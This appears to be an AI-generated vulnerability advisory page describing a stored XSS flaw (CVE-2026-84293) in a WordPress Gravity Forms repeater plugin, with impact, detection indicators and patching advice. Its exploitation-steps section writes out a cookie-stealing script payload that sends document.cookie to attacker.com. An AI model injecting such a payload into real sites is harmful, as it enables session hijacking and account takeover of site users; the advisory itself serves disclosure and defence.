CVE-2026-84293
WordPress Analisi e mitigazione delle vulnerabilità

Panoramica

CVE-2026-84293 is a Stored Cross-Site Scripting (XSS) vulnerability in the Repeater Fields for Gravity Forms plugin for WordPress, affecting all versions up to and including 3.0.4. The flaw exists in multi-input sub-field types within repeater fields (such as Name, Address, and Checkbox fields) due to insufficient input sanitization and output escaping. It was published on September 9, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

Dettagli tecnici

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability specifically affects multi-input sub-field types within repeater fields; scalar single-input field values are properly escaped using WordPress's esc_html() function at the output stage in version 3.0.4, but multi-input sub-fields (e.g., Name, Address, Checkbox) lack equivalent sanitization. An unauthenticated attacker can submit a crafted form entry containing malicious JavaScript payloads into these sub-fields, which are then stored in the database and rendered unsanitized when any user views the affected page. Vulnerable code paths have been identified in repeater_field.php at lines L401, L474, L543, and L549 (GitHub Advisory, WordPress Trac).

Impatto

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The scope is marked as "Changed" in the CVSS scoring, reflecting that the injected script can impact users and resources beyond the vulnerable plugin itself (GitHub Advisory, Wordfence).

Sfruttabilità

As of the disclosure date (September 9, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is reported as 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Wordfence, GitHub Advisory).

Passaggi di sfruttamento

  1. Reconnaissance: Identify WordPress sites using the Repeater Fields for Gravity Forms plugin (version ≤ 3.0.4) by searching for plugin-specific indicators (e.g., wp-content/plugins/repeater-for-gravity-forms/) via web crawlers or tools like WPScan.
  2. Locate a vulnerable form: Find a publicly accessible page on the target site that contains a Gravity Forms form with a repeater field using multi-input sub-field types (Name, Address, or Checkbox).
  3. Craft a malicious payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, to be injected into one of the multi-input sub-field values.
  4. Submit the form: Submit the form with the XSS payload embedded in the vulnerable multi-input sub-field (e.g., the "First Name" sub-field of a Name field within a repeater). No authentication is required.
  5. Payload execution: When any user (including an administrator) views the page or entry where the form data is displayed, the injected script executes in their browser, enabling session hijacking, credential theft, or further exploitation (GitHub Advisory, Wordfence).

Indicatori di compromesso

  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing pages with Gravity Forms repeater field output; unusual redirects originating from WordPress form entry pages.
  • Logs: WordPress access logs showing POST requests to pages containing Gravity Forms with repeater fields, with unusually long or encoded field values containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:).
  • File System: No direct file system artifacts expected for a stored XSS attack; however, check for newly created or modified WordPress admin accounts or plugin files following potential admin session compromise.
  • Database: Gravity Forms entry records in the wp_gf_entry_meta table containing raw HTML or JavaScript in multi-input sub-field values (Name, Address, Checkbox sub-fields) rather than plain text (GitHub Advisory, Wordfence).

Mitigazione e soluzioni alternative

Update the Repeater Fields for Gravity Forms plugin to a version later than 3.0.4, which includes the patch released on September 9, 2026. As a temporary workaround, site administrators can disable or restrict access to forms containing repeater fields with multi-input sub-field types until the update is applied. Additionally, deploying a Web Application Firewall (WAF) with XSS detection rules (e.g., Wordfence, Cloudflare) can help block malicious payloads. Administrators should also review existing form submissions for signs of injected content and sanitize any affected entries (GitHub Advisory, Wordfence).

Reazioni della comunità

The vulnerability was assigned and disclosed by Wordfence, a leading WordPress security firm, as part of their threat intelligence program. No notable independent researcher commentary, social media discussion, or broader media coverage has been identified at this time, consistent with the low EPSS score and absence of public exploit code (Wordfence).

Risorse aggiuntive


FonteQuesto report è stato generato utilizzando l'intelligenza artificiale

Imparentato WordPress Vulnerabilità:

CVE ID

Severità

Punteggio

Tecnologie

Nome del componente

Exploit CISA KEV

Ha la correzione

Data di pubblicazione

CVE-2026-84293HIGH7.2
  • repeater-for-gravity-forms
NoSep 09, 2026
CVE-2026-83532MEDIUM6.8
  • custom-menu-wizard
NoNoSep 09, 2026
CVE-2026-19945MEDIUM6.4
  • wp-crowdfunding
NoSep 09, 2026
CVE-2026-7804MEDIUM6.1
  • woo-product-filter
NoSep 09, 2026
CVE-2026-11821MEDIUM5.4
  • wp-event-solution
NoSep 09, 2026

Valutazione gratuita delle vulnerabilità

Benchmark della tua posizione di sicurezza del cloud

Valuta le tue pratiche di sicurezza cloud in 9 domini di sicurezza per confrontare il tuo livello di rischio e identificare le lacune nelle tue difese.

Richiedi valutazione

Richiedi una demo personalizzata

Pronti a vedere Wiz in azione?

"La migliore esperienza utente che abbia mai visto offre piena visibilità ai carichi di lavoro cloud."
David EstlickCISO (CISO)
"Wiz fornisce un unico pannello di controllo per vedere cosa sta succedendo nei nostri ambienti cloud."
Adam FletcherResponsabile della sicurezza
"Sappiamo che se Wiz identifica qualcosa come critico, in realtà lo è."
Greg PoniatowskiResponsabile della gestione delle minacce e delle vulnerabilità